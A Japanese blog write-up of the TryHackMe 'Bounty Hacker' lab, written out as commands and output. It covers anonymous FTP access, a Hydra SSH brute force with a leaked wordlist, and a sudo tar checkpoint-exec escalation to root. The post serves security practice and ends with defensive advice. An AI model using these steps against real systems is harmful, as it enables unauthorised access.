0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

【TryHackMe】Bounty Hacker - Writeup

Last updated at Posted at 2024-02-13

はじめに

TryHackMeの "Bounty Hacker" というルームのWriteupです。
バウンティハッカーアニメがコンセプトになっているルームをハックしていきましょう!

  • 難易度 : Easy

image.png

目標

Recon (偵察) → Enumeration (列挙) → GainingAccess (侵入) → PrivEsc (権限昇格)
という流れで進めていきます。
侵入後に user.txt、権限昇格後に root.txt をゲットするのが目標です。 

Recon

オープンポート調査

nmapでポートスキャンしていきましょう。

root@ip-10-10-106-118:~# nmap -Pn -A -T4 10.10.197.183 

Starting Nmap 7.60 ( https://nmap.org ) at 2024-02-09 04:51 GMT
Nmap scan report for ip-10-10-197-183.eu-west-1.compute.internal (10.10.197.183)
Host is up (0.00036s latency).
Not shown: 967 filtered ports, 30 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.106.118
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:f8:df:a7:a6:00:6d:18:b0:70:2b:a5:aa:a6:14:3e (RSA)
|   256 ec:c0:f2:d9:1e:6f:48:7d:38:9a:e3:bb:08:c4:0c:c9 (ECDSA)
|_  256 a4:1a:15:a5:d4:b1:cf:8f:16:50:3a:7d:d0:d8:13:c2 (EdDSA)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 02:7C:F7:0E:68:F5 (Unknown)
Aggressive OS guesses: HP P2000 G3 NAS device (91%), Linux 3.8 (90%), Linux 2.6.32 (89%), Infomir MAG-250 set-top box (89%), Ubiquiti AirMax NanoStation WAP (Linux 2.6.32) (89%), Ubiquiti AirOS 5.5.9 (89%), Linux 2.6.32 - 3.13 (89%), Linux 3.3 (89%), Linux 2.6.32 - 3.1 (88%), Linux 3.7 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.36 ms ip-10-10-197-183.eu-west-1.compute.internal (10.10.197.183)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.87 seconds

21(ftp), 22(ssh), http(80)のポートが空いている。
ftpは anonymous login(匿名ログイン) 出来るようになっていますね。
httpがあるのでブラウザから見てみましょう。

Webサイトの偵察

image.png

スパイク:"...ああ、やっと起きたか。そろそろ時間だ、あと3分でゴミと一緒に出て行くところだったぞ。"
ジェット:「君はスパイクに、システム内のどんなコンピューターでもハッキングできると言った。エドにやらせてもいいんだが、彼女には別のことに取り組んでもらわないといけないし、君はさっきのバーで本当に大胆になってたからな。今すぐ見て回って、システムのルートがわかるかどうか確かめろ。答えが必要ないとわかってる質問はするなよ。運がよければ、ピーマンと牛肉も作ってやるよ。"
エド:「エドです。コンピューターで彼らが話している装置にアクセスできるはずだ。必要なら、エドワードとアインはメインデッキにいるから!"
フェイ:"...ふーん..."

ふむふむ、、、、

Enumeration

隠しディレクトリ調査

gobusterで隠しディレクトリを見てみましょう。

root@ip-10-10-106-118:~# gobuster dir -u http://10.10.197.183 -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.197.183
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2024/02/09 04:58:26 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/images (Status: 301)
/index.html (Status: 200)
/server-status (Status: 403)
===============================================================
2024/02/09 04:58:27 Finished
===============================================================

images というページが公開されているようです。

image.png

crew.jpg はTopページに使われている写真でした。

ftpサーバの調査

nmapの結果からftpにanonymous login(匿名ログイン)出来るとわかっているので入ってみましょう。

root@ip-10-10-106-118:~# ftp 10.10.197.183
Connected to 10.10.197.183.
220 (vsFTPd 3.0.3)
Name (10.10.197.183:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 

ftpサーバの中を調査する。

ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-rw-r--    1 ftp      ftp           418 Jun 07  2020 locks.txt
-rw-rw-r--    1 ftp      ftp            68 Jun 07  2020 task.txt
226 Directory send OK.

locks.txt, task.txtがあるので、ローカルに持ってきましょう。

ftp> mget locks.txt task.txt
mget locks.txt? 
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for locks.txt (418 bytes).
226 Transfer complete.
418 bytes received in 0.08 secs (5.4376 kB/s)
mget task.txt? 
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for task.txt (68 bytes).
226 Transfer complete.
68 bytes received in 0.05 secs (1.3313 kB/s)

中身を見てみます。

root@ip-10-10-102-28:~# cat locks.txt
rEddrAGON
ReDdr4g0nSynd!cat3
Dr@gOn$yn9icat3
R3DDr46ONSYndIC@Te
ReddRA60N
R3dDrag0nSynd1c4te
dRa6oN5YNDiCATE
ReDDR4g0n5ynDIc4te
R3Dr4gOn2044
RedDr4gonSynd1cat3
R3dDRaG0Nsynd1c@T3
Synd1c4teDr@g0n
reddRAg0N
REddRaG0N5yNdIc47e
Dra6oN$yndIC@t3
4L1mi6H71StHeB357
rEDdragOn$ynd1c473
DrAgoN5ynD1cATE
ReDdrag0n$ynd1cate
Dr@gOn$yND1C4Te
RedDr@gonSyn9ic47e
REd$yNdIc47e
dr@goN5YNd1c@73
rEDdrAGOnSyNDiCat3
r3ddr@g0N
ReDSynd1ca7e

ユーザー名なのかパスワードなのか、、、
よく見ると、Red Dragon Syndicate をLeet変換したような文字列が並んでいるようです。
もうひとつも確認します。

root@ip-10-10-102-28:~# cat task.txt
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.

-lin

タスク
1.) ヴィシャスを守る。
2.) 月にレッドアイを迎えに行く計画を立てる。
-リン

lin, Viciousというユーザがいるようですね。

ここでわからなくなってきたので問題を見ると
" Who wrote the task list?"
" What Service can you bruteforce with the test file found?"
と書いてありました。なるほど。
さっきの locks.txt を使って、sshで ユーザ lin に対してブルートフォースをするようです。

Gaining Access

ブルートフォース攻撃

さきほどのワードリストとHydraを使ってブルートフォース攻撃をします。

root@ip-10-10-102-28:~# hydra -l lin -P locks.txt ssh://10.10.197.183
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2024-02-09 07:17:41
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 26 login tries (l:1/p:26), ~2 tries per task
[DATA] attacking ssh://10.10.197.183:22/
[22][ssh] host: 10.10.197.183   login: lin   password: RedDr4gonSynd1cat3
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2024-02-09 07:17:43

[22][ssh] host: 10.10.197.183 login: lin password: RedDr4gonSynd1cat3

パスワードがわかったのでこれでsshにログインしていきましょう。

root@ip-10-10-102-28:~# ssh lin@10.10.197.183
The authenticity of host '10.10.197.183 (10.10.197.183)' can't be established.
ECDSA key fingerprint is SHA256:fzjl1gnXyEZI9px29GF/tJr+u8o9i88XXfjggSbAgbE.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.197.183' (ECDSA) to the list of known hosts.
lin@10.10.197.183's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-101-generic x86_64)

lin@bountyhacker:~/Desktop$ whoami
lin

無事、linでログイン成功。

lin@bountyhacker:~/Desktop$ find / -name user.txt 2>/dev/null
/home/lin/Desktop/user.txt
lin@bountyhacker:~/Desktop$ cat /home/lin/Desktop/user.txt 
THM{****_*****}

user.txtフラグも取れました。

PrivEsc

不用意に付与されている権限がないか調査していきます。

lin@bountyhacker:~/Desktop$ sudo -l
[sudo] password for lin: 
Matching Defaults entries for lin on bountyhacker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lin may run the following commands on bountyhacker:
    (root) /bin/tar

linは tar がsudo権限で実行できるようですね。
いつものとおりGTFOBinsで検索するとエクスプロイトコード発見。

実行したらあっけなくrootになれてしまいました。

lin@bountyhacker:~/Desktop$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading `/' from member names
# whoami
root

root.txtフラグも無事ゲット出来ました。

# find / -name root.txt 2>/dev/null
/root/root.txt
# cat /root/root.txt
THM{****_*****}

なんのアニメか

chatGPTに聞いたら教えてくれました。
賞金稼ぎスパイクと天才ハッカーのエドが出てくるアニメのようです。

カウボーイビバップ|作品紹介|サンライズ
ワープゲートで各惑星が結ばれた2071年の太陽系を舞台に、宇宙空間を「ビバップ号」で飛び回る賞金稼ぎスパイクとジェットは元マフィアと元警官。 記憶喪失の上に莫大な借金を背負っている謎の女フェイ、野生児のような天才ハッカーのエド、人間並みの知能を持つデータ犬アインが加わって4人と1匹が奇妙な共同生活を送ることになる。

調べると「レッドドラゴン本部」に乗り込んでいくシーンがあるらしく、
パスワードリストが「Red Dragon」だったのはヒントだったみたいです。

あとがき

ちょっと物足りないルームでした。世界観は面白かったです!

守る側としては以下の点に気を付けたいですね。

  • ftp のanonymous loginは出来ないようにする
  • 権限昇格できるコマンドにsudoを付与しない
  • ユーザ名がわかるような開発メモを残さない

Try Harder !

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?